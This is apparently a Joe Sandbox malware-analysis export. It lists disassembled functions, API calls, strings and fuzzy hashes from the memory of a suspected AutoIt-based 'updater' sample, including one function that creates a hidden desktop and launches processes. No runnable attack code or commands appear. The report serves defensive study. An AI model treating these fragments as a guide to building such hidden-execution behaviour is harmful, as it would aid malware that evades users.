API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: adceecae9db952019ea67bf8db8f506acf1de385ba02a9cc1f7cca2da5f8cda8
Instruction ID: 9aa63d52709b4759067b07a9e2dc24d91ad236f7d25a905a66ddca3c02403be8
Opcode Fuzzy Hash: adceecae9db952019ea67bf8db8f506acf1de385ba02a9cc1f7cca2da5f8cda8
Instruction Fuzzy Hash: E7E01A79840204AFCB119F60D8087ED7BF1FF8C310F218418FE5AA7210CB7895518F50

Function 00BD5FCC Relevance: 6.0, APIs: 4, Instructions: 14threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00BD5FCD

Part of subcall function 00BD9BF4: GetLastError.KERNEL32(?,00BD1003,00BD8D5D,00BD59C3,?,?,00BD1003,?), ref: 00BD9BF6
Part of subcall function 00BD9BF4: __calloc_crt.LIBCMT ref: 00BD9C17
Part of subcall function 00BD9BF4: __initptd.LIBCMT ref: 00BD9C39
Part of subcall function 00BD9BF4: GetCurrentThreadId.KERNEL32 ref: 00BD9C40
Part of subcall function 00BD9BF4: SetLastError.KERNEL32(00000000,00BD1003,00BD8D5D,00BD59C3,?,?,00BD1003,?), ref: 00BD9C58

CloseHandle.KERNEL32(?,?,00BD5FAC), ref: 00BD5FE1
__freeptd.LIBCMT ref: 00BD5FE8
ExitThread.KERNEL32 ref: 00BD5FF0

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorLastThread$CloseCurrentExitHandle__calloc_crt__freeptd__getptd_noexit__initptd
String ID:
API String ID: 4169687693-0
Opcode ID: 97f97356c299981f06e2da9affb359c7784d4c81cbcf81129be9404ced5efed0
Instruction ID: b60bb5c1d38a55ee48f61c1cd6f4c6b2b81c9c768ae0bede16043794309e49d0
Opcode Fuzzy Hash: 97f97356c299981f06e2da9affb359c7784d4c81cbcf81129be9404ced5efed0
Instruction Fuzzy Hash: B7D0A731402E508BC2312B64AC0DF2DB690AF01B21F154247F565592F0AB3188428641

Function 00C0BE8C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00C0C057

Strings

AutoIt3GUI, xrefs: 00C0BFCF
Container, xrefs: 00C0BFD4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: c6646b97d1c6af93612d524cac63808a5685ca45aba82f7996c303e726b400b9
Instruction ID: c545ee36bdb58d57b976ebde0612f13fefeba95beea5a38538eae5a87018442b
Opcode Fuzzy Hash: c6646b97d1c6af93612d524cac63808a5685ca45aba82f7996c303e726b400b9
Instruction Fuzzy Hash: 80913774600202AFDB24DF64C884B6ABBF5FF49714F20856EE94ADB2A1DB71E941CB50

Function 00C1B5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC436A: _wcscpy.LIBCMT ref: 00BC438D

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

__wcsnicmp.LIBCMT ref: 00C1B670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00C1B739

Strings

LPT, xrefs: 00C1B66A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: b705c0949f463e519f2d9f4ffbb4f32cffb045a8ef4bfe5f9ec3c7d865aea2c1
Instruction ID: ce22ad13daecb8fd627c1cce6a3cb652e7332ee711f69b1d9424240e9d267f99
Opcode Fuzzy Hash: b705c0949f463e519f2d9f4ffbb4f32cffb045a8ef4bfe5f9ec3c7d865aea2c1
Instruction Fuzzy Hash: D7615E75A00219AFCB14DF94C891EEEB7F4EB49310F1080A9F556AB391D770AE81DFA0

Function 00BBE00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00BBE01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 00BBE037

Strings

@, xrefs: 00BBE02B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: c23ad009047f85db8a52bce2c2507d27d6a0b6ba399e527dbc9fb128ead71cf1
Instruction ID: f100d6ad656c0f14b9bee24f3033e8bdd86b840f7fb9405642d45b3ef70b128c
Opcode Fuzzy Hash: c23ad009047f85db8a52bce2c2507d27d6a0b6ba399e527dbc9fb128ead71cf1
Instruction Fuzzy Hash: BE514A714087449BE320AF50E886BAFB7F8FF84715F51489DF2D8411A2DBB09969CB16

Function 00C38096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00C38186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00C3819B

Strings

', xrefs: 00C380EF

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: e26017b45e305aed5de61366628d78618af9dbe1f437281446ce748d14531bde
Instruction ID: 0c7e3b157ca9970804388ac544ee4106ef7921ab952083227e756ed2193f2d6c
Opcode Fuzzy Hash: e26017b45e305aed5de61366628d78618af9dbe1f437281446ce748d14531bde
Instruction Fuzzy Hash: 7E411774A013099FDB14CF65C881BDE7BB5FB08340F10016AE918AB391DB70A946CF90

Function 00C22C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C22C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00C22CA0

Strings

|, xrefs: 00C22C71

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 8216770a4eeae522d67971810236aa187f6653723ae010b67cedc90ccd52ac5f
Instruction ID: af30338e24d4d8f59a7d49310073c48d9f6318c2c40d07c4ac7912cbcb063338
Opcode Fuzzy Hash: 8216770a4eeae522d67971810236aa187f6653723ae010b67cedc90ccd52ac5f
Instruction Fuzzy Hash: 85312871C00219ABCF01EFA5DC85EEEBFB9FF09304F104059F915A6262EB315A56DBA0

Function 00C37088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00C3713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00C37178

Strings

static, xrefs: 00C370D8

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: b76dc316a404ab345d96f9210fbc1c95f415b1205d2c9c3b7ef05d96c3e27057
Instruction ID: 7b76e4b74ef60289a6b0f1d7977247f7350af72443c13bef52d333d888877101
Opcode Fuzzy Hash: b76dc316a404ab345d96f9210fbc1c95f415b1205d2c9c3b7ef05d96c3e27057
Instruction Fuzzy Hash: 8531AFB2110604AEDB249F78CC80BFB73B9FF48720F109619F9A987191DB70AD91DB60

Function 00C13049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C130B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C130F3

Strings

0, xrefs: 00C130B1

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: a84b040ee6f2e936aae9b2e2b7f93237fbbd4f6cef2245703405cd42d2727ae1
Instruction ID: 6b5cd0c819e87b6b030bc4439e35ad7205dda1571708af9c2af53ac53b145e09
Opcode Fuzzy Hash: a84b040ee6f2e936aae9b2e2b7f93237fbbd4f6cef2245703405cd42d2727ae1
Instruction Fuzzy Hash: F131F731600245FBEB249F58C885BEEBBF8FF06354F344059EDA6A6191E7709B84EB50

Function 00C240B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00C24132

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Strings

AUTOITCALLVARIABLE%d, xrefs: 00C24124
, $, xrefs: 00C24172

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: cd76c741c13817fa1ea7ca387924cabae6d24cbc51d17ca972f04a5228f22e22
Instruction ID: 03e1e0578ca5f2f91dfe84812f318210c04485c685cd20c88680b2d9e96e117e
Opcode Fuzzy Hash: cd76c741c13817fa1ea7ca387924cabae6d24cbc51d17ca972f04a5228f22e22
Instruction Fuzzy Hash: F9218431A00228ABCF14EF64DC91EAE77F9EF55340F440498F905A7282DB70E996DBA1

Function 01256019 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,012560F7), ref: 0125609F
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,012560F7), ref: 012560A5

Strings

yyyy, xrefs: 0125607A

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 141fb6582936ae8499e899dd6c69dd36de5ad7dde8f2e9767c33d17b6be7bdb0
Instruction ID: 7ebd1e6bd65c08777f6bb845d5170dcea6842407eb350159fee221c501cfbaa1
Opcode Fuzzy Hash: 141fb6582936ae8499e899dd6c69dd36de5ad7dde8f2e9767c33d17b6be7bdb0
Instruction Fuzzy Hash: 71217F78620219AFDB91EBA8C8C1ABEB3B8FF08340F9040A5FD05E7755DA709E40C765

Function 00C36CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00C36D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C36D91

Strings

Combobox, xrefs: 00C36D53

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: f436d0cd9e7ce08dcb3a8a309e875b79d623f957e7d455651c52b5baf958934b
Instruction ID: 72dc8b2998d58ff425d3c62ae3bd6b1676b27b38d27c11bba36febde2ed329ff
Opcode Fuzzy Hash: f436d0cd9e7ce08dcb3a8a309e875b79d623f957e7d455651c52b5baf958934b
Instruction Fuzzy Hash: C411A771320209BFEF259F54DC81FFB3BAAEB843A4F118129F9299B290D671DD518760

Function 00C3722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00BB2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BB214F
Part of subcall function 00BB2111: GetStockObject.GDI32(00000011), ref: 00BB2163
Part of subcall function 00BB2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BB216D

GetWindowRect.USER32(00000000,?), ref: 00C37296
GetSysColor.USER32(00000012), ref: 00C372B0

Strings

static, xrefs: 00C37273

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: e530f48ed457dcee9cd9d685c887a4a636640d13590342084364bdfb70360750
Instruction ID: f587a33de78922785568e29714328841596159d0c458da57189235a0efa33aa8
Opcode Fuzzy Hash: e530f48ed457dcee9cd9d685c887a4a636640d13590342084364bdfb70360750
Instruction Fuzzy Hash: 85211772A2420AAFDB14DFA8DC45AFA7BE8FB08314F114628FE55D3250D635A8519B50

Function 00C36F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00C36FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00C36FD6

Strings

edit, xrefs: 00C36FAB

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 028befd9dd28ab1adc05e30f344caaeda316a6b99591f40a99878583c8034c44
Instruction ID: 78a03b07d139aa9e51d2180a6de8ab660f951483ff9e31f8bbf544a7e630de8f
Opcode Fuzzy Hash: 028befd9dd28ab1adc05e30f344caaeda316a6b99591f40a99878583c8034c44
Instruction Fuzzy Hash: A7113071510209BBEB109EA4EC44FFB3B69EB09368F108714FA75971E0C775DC509B60

Function 00C13156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C131C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00C131E8

Strings

0, xrefs: 00C131BF

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: fdf821dc2b0ec8cf33493b0fd7f90c9951ad73ee0d4dbaab809e873c5887f60b
Instruction ID: 5e4e0816fc8ff842ac3cfe616ee071471aa19c5105732b4ba8e51691881f54a9
Opcode Fuzzy Hash: fdf821dc2b0ec8cf33493b0fd7f90c9951ad73ee0d4dbaab809e873c5887f60b
Instruction Fuzzy Hash: FD110B36900198BBEB20DB98DC45BDD77BCAB07318F244161E825A7290D770EF89EB91

Function 00C228A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00C228F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00C22921

Strings

<local>, xrefs: 00C228E9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 460efa3340c470377655782000943362d8fcebfc0f3017343dbb67d9d6375a72
Instruction ID: d702ccf4b7116b248aebf4315a8079648fa1de44f3b82f48204a856950b40eb0
Opcode Fuzzy Hash: 460efa3340c470377655782000943362d8fcebfc0f3017343dbb67d9d6375a72
Instruction Fuzzy Hash: FB11E371501235BAEB248F519C88EFBFB6CFF16350F10422AF51546480E3709990D6E0

Function 01266735 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,OPEN,00000000,00000000,00000000), ref: 012667AC

Part of subcall function 01266511: CreateDesktopA.USER32(00000000,00000000,00000000,00000000,10000000,00000000), ref: 012665DB
Part of subcall function 01266511: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,0126670A), ref: 0126661C

Strings

OPEN, xrefs: 012667A5
.exe, xrefs: 01266760

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Create$DesktopExecuteProcessShell
String ID: .exe$OPEN
API String ID: 1246678638-879745837
Opcode ID: 7c875a9b7f0a0de47f58443d8337319e594a3a1fd1966d27fafa84c25ae17240
Instruction ID: 08c88ef2264cf73607a32f520731695cde56e44c037c9be4035807502c243a02
Opcode Fuzzy Hash: 7c875a9b7f0a0de47f58443d8337319e594a3a1fd1966d27fafa84c25ae17240
Instruction Fuzzy Hash: E101FC343603057BEB55AA7A9CD2F2AB2ADCF98B10F204478BD05E73C1F9B89D804124

Function 00C28475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C286E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00C2849D,?,00000000,?,?), ref: 00C286F7

inet_addr.WSOCK32(00000000), ref: 00C284A0
htons.WSOCK32(00000000), ref: 00C284DD

Strings

255.255.255.255, xrefs: 00C284B8

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 214364f27664320739be4faf3d1e22ccf4881ba02dcfb0fa15181456ee54b4be
Instruction ID: e42131d2b738a1f2df3b24981dc09b813127871dbfb96892ca26225407af5563
Opcode Fuzzy Hash: 214364f27664320739be4faf3d1e22ccf4881ba02dcfb0fa15181456ee54b4be
Instruction Fuzzy Hash: 54110835240216ABDB10EF64DC52FAEB364FF00310F10851AFA25976D1DB31A914D795

Function 00C099BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C0B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00C0B7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00C09A2B

Strings

ListBox, xrefs: 00C099F5
ComboBox, xrefs: 00C099CA

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 48d530c17dc3ed7451cfc6812d973f00622cb869bf76f66c80923d8707c221a0
Instruction ID: 55d877c4fb8f394dc2cd57d4968e88e6debf7e227cdaf942d33457d3bcf0d7b7
Opcode Fuzzy Hash: 48d530c17dc3ed7451cfc6812d973f00622cb869bf76f66c80923d8707c221a0
Instruction Fuzzy Hash: F201D871A42124ABCB14EBA8CC51EFE73A9FF56360B100A59F876672D2DF315D08D660

Function 00C1934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C19367
__fread_nolock.LIBCMT ref: 00C1937C

Strings

EA06, xrefs: 00C193AE

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

